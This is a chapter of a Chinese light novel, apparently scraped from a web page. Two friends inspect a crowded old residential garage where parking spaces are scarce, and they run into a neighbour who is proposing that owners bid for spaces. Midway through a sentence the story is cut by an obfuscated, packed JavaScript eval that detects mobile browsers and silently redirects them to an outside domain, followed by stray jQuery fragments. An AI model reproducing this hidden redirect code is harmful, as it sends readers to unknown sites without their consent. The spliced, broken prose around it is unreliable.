"等等——"凌零零一把按住辛迪正在挥舞的镶钻手机，"你上次从陆明那儿买的那套粉色主题房不是挺好的吗？我记得你说那是你的幸运房。"
辛迪的眼睛突然亮了起来，钻石美甲在会议桌上敲出欢快的节奏。
"那套房简直是我的福星！"
她划开手机相册，翻出一张直播间的照片——整面墙的货架上堆满美妆产品，粉色背景板前架着三台补光灯。
"第一次带货专场就在那里拍的，GMV直接破千万！"
凌零零注意到照片角落里，床头柜上摞着五六个样品箱，连梳妆台都堆满了待测产品。
"看起来...有点挤？"
"何止是挤！"辛迪的粉色羽绒服在暖气里鼓了鼓。
"现在连浴室都堆满了选品，上次我差点被滑落的洗发水箱子砸到脚。"
她翻出另一张照片，画面里连浴缸都塞满了未拆封的包裹，"所以必须再买套大的..."
窗外忽然扬起一阵雨夹雪，雪粒子扑簌簌打在玻璃上。
凌零零注意到新照片里法式阳台的雕花栏杆。
"等等，你特意选梧桐区该不会是因为..."
"这里三步一个网红咖啡馆，五步一个打卡墙啊！"
辛迪兴奋地放大照片背景，远处红砖老洋房衬着梧桐落叶，活像电影画面。
"上周我在街角拍的15秒变装视频，直接上了平台热搜！"
"但是停车简直要命！"辛迪突然垮下脸，连帽檐的绒毛都耷拉下来。
"昨天我在小区门口转了半小时，最后只好把车停到五条街外的商场..."
凌零零眼前浮现梧桐区那些比面条宽不了多少的马路，两边还停满车，活像被孩子随手扔在地上的玩具车。
"要不..."她挠挠头，"我最近帮你占地面车位？等这阵豪车秀过去了..."
"不是地面车位啦！"辛迪急得直跺脚，雪地靴上的毛球乱颤。
"是我们小区地下车库！我昨天是因为地下车库里没地方停，才在小区门口的小马路上碰碰运气的。"
她翻出手机相册里的车库照片——
昏暗的灯光下，几辆车可怜巴巴地挤在一起，最近那辆的后视镜都快贴到墙上了。
半小时后，凌零零站在一栋巴洛克风格的大楼前。
辛迪对着门禁摄像头俏皮地眨了眨眼。
红外线扫描在她精致的妆容上停留片刻，发出"滴"的一声轻响，门锁应声而开。
"现在都刷脸啦～"她得意地晃了晃脑袋。
"走，先带你看看小区环境！"
辛迪二话不说，拽着凌零零就往电梯冲，粉色雪地靴在大理石地面上直打滑。
大堂的空调开得十足，但穿堂风还是冻得凌零零一哆嗦。
二十年前的装修风格在暖黄灯光下泛着时光的痕迹：拼花大理石有些泛黄，水晶吊灯的镀金边角微微褪色。
就连坐在大堂服务台里的楼栋管家，制服都带着复古的垫肩设计。
"这是小区里的运动沙龙。"辛迪推开磨砂玻璃门："哎呀，就是健身房啦。"
瑜伽教室中，学员们单膝跪立于垫上，后腿笔直伸展，如同拉满的弓弦。
动感单车教室里，十几辆单车整齐排列，在幽蓝色的氛围灯下泛着金属冷光。
凌零零正看得入神。
辛迪突然凑了过来："要不要去我房子看看？主卧的浴缸是粉色心形的！"
"等等，"凌零零拉住她羽绒服的毛领："正事要紧，先看车库？"
辛迪撅了下小嘴，还是乖乖引着凌零零坐电梯去往地下二层。
电梯下降时发出老旧的嗡嗡声，冷风从缝隙里钻进来，吹得凌零零直缩脖子。
"这穿堂风！"她搓着手抱怨，"比我们门店的旧空调还冷。"
电梯门开，眼前的景象让凌零零倒吸一口凉气——
狭窄的通道两侧停满了车，最近那辆的车距感应器正发出尖锐警报。
辛迪指着角落里被两根承重柱夹着的车位。
"这是我租的车位，但车根本停不进去！"
凌零零蹲下身，发现地面留着的车位线，宽度明显比现在的标准窄一截。
"这也太..."
拐角处突然传来引擎的低沉轰鸣，一辆棕色的车正艰难地挤过狭窄的通道。
后视镜距离墙面不到五厘米，眼看着就要发出令人牙酸的金属摩擦声。
凌零零眼疾手快，一把拽住辛迪的手腕，拉着她躲进那个被承重柱包围的车位里。
"当心点！"凌零零的后背紧贴着冰冷的混凝土柱子，寒气透过羽绒服直往脊梁骨里钻。
辛迪的粉色羽绒服在昏暗的灯光下蹭上了墙灰，她心疼地拍打着衣服，钻石美甲在车库顶灯下折射出细碎的光芒。
那辆棕色的车像头困兽般缓慢挪动。
凌零零注意到车窗上贴着"越野一族"的贴纸，后保险杠上还有几道新鲜的刮痕。
"等等，"等车通过的间隙，凌零零突然想起什么，手指无意识地敲打着承重柱。
"你刚才说车位是租的？不能买吗？"
辛迪叹了口气，腕间的手镯叮当作响："买不了啊。"
她跺了跺脚，雪地靴上的毛球跟着颤动，"这小区是二十年前建的，建的时候开发商按''一户一车位''算的车位数量，在当时还算是先进理念了。"
凌零零环顾四周。
车库墙面的环氧地漆已有些斑驳，头顶的LED灯管发出轻微的电流声，把两人的影子拉得老长。
"所以现在车位紧张是因为有些人家不止有一辆车了？"凌零零有些明白了。
"事实上，这里的大多数人家都想要多买几辆车，可是车位不够，买了也没法停。"辛迪呼出的白气在冷空气中凝结。
"辛迪。"
那辆棕色的车不知何时停在了她们旁边。
车窗缓缓降下，驾驶座上的男人头戴棒球帽，右耳的耳钉在昏暗的车库里依然醒目。
"又没地方停车了？"丁容修长的手指在方向盘上轻轻敲打，指甲修剪得干净利落。
"早跟你说了加入我们的提案，在最高限价的前提下，业主共同竞价位置好的车位，你不听啊。"
辛迪立刻像只炸毛的猫，一个箭步上前把胳膊架在车窗框上。
"哦？那你们折腾这么久，有什么进展了吗？"
她羽绒服上的毛领随着动作抖动，活像
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16106101|174234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只发怒的小动物。
凌零零注意到到丁容的卫衣领口露出精致的锁骨链，后座上放着某潮牌的购物袋。
"你..."丁容的眉头皱了起来，手指移向车窗按钮。
"小心！"凌零零一把拽回辛迪。
车窗"嗡"地升起，堪堪擦过辛迪的袖口。
"丁容！"辛迪的声音在车库里炸开，"你想夹断我胳膊吗？！"
车窗再次降下，丁容的脸上闪过一丝歉意。
"抱歉，没意识到你的胳膊，真不是故意的。"
凌零零刚要开口，辛迪已经一把挽住她的胳膊："不行！你吓到我朋友了！"
她义正言辞地说，另一只手还夸张地拍着胸口："必须赔罪——今天中午就请我们去你店里吃饭！"
丁容无奈地摇头："行吧，"他掏出手机"我现在就让主厨准备。"
凌零零："......"
她在心里默默吐槽：什么叫"你们"？我可什么都没说啊！
但看着辛迪暗中对她眨眼的狡黠模样，又看了看丁容嘴角若有若无的笑意，突然意识到这俩人的"剑拔弩张"，八成是老交情了。
说是要请客吃饭，当然得等丁容先把车停好——毕竟他那辆车现在还横在过道上，活像头拦路的黑豹。
凌零零抱着胳膊站在一旁，准备欣赏这场高难度停车秀。
引擎发出低沉的嗡鸣，车身开始缓缓后退。
丁容左打方向，右后视镜距离承重柱不到三厘米；回正，车尾几乎擦着墙面；再左打，前轮精准地避开了隔壁车位的消防栓。
凌零零在脑海里模拟自己来停车的场景：
往前开，"Duang"，车头凹进去一块；往后倒，"Duang"，后保险杠亲吻承重柱。
两把方向盘一打，喜提车辆大修。
现实是丁容的路虎稳稳当当地卡进了车位，左侧车门距离那根碍事的柱子刚好能打开一条容一个人上车的缝。
"漂亮！"辛迪吹了个口哨，粉色羽绒服在昏暗车库里格外扎眼。
丁容熄火下车，棕色马丁靴踩在地面上发出清脆的声响。
辛迪蹦到他车前，毛绒雪地靴差点打滑。
"也就你能停进这种车位，换我早剐蹭八百回了。"
"也没少蹭。"丁容苦笑着摸了摸右前杠，那里有几道明显的划痕，在哑光车漆上像几道伤疤。他右耳的耳钉随着摇头的动作闪了闪："下周得去重新喷漆了。"
凌零零凑近看了看，车身上还有几处不起眼的凹陷。
"这柱子，"她指了指那个罪魁祸首，"简直是车库里的拦路虎。"
丁容抛了下车钥匙，金属在空中划出一道银光："走吧，吃饭去，主厨发消息说菜都备好了。"
三人往电梯口走去。
凌零零注意到丁容的手机壳是某个潮牌的限定款。
"你那车位，"辛迪边走边比划："虽然比我的强点，但也好不到哪去。"
丁容按了上行键，电梯镜面映出他无奈的表情："吃饭时，我们正好再聊聊车位的事。"
电梯"叮"的一声到达。
凌零零跟着走进轿厢，心里想的却是——这顿饭恐怕不止是赔罪这么简单。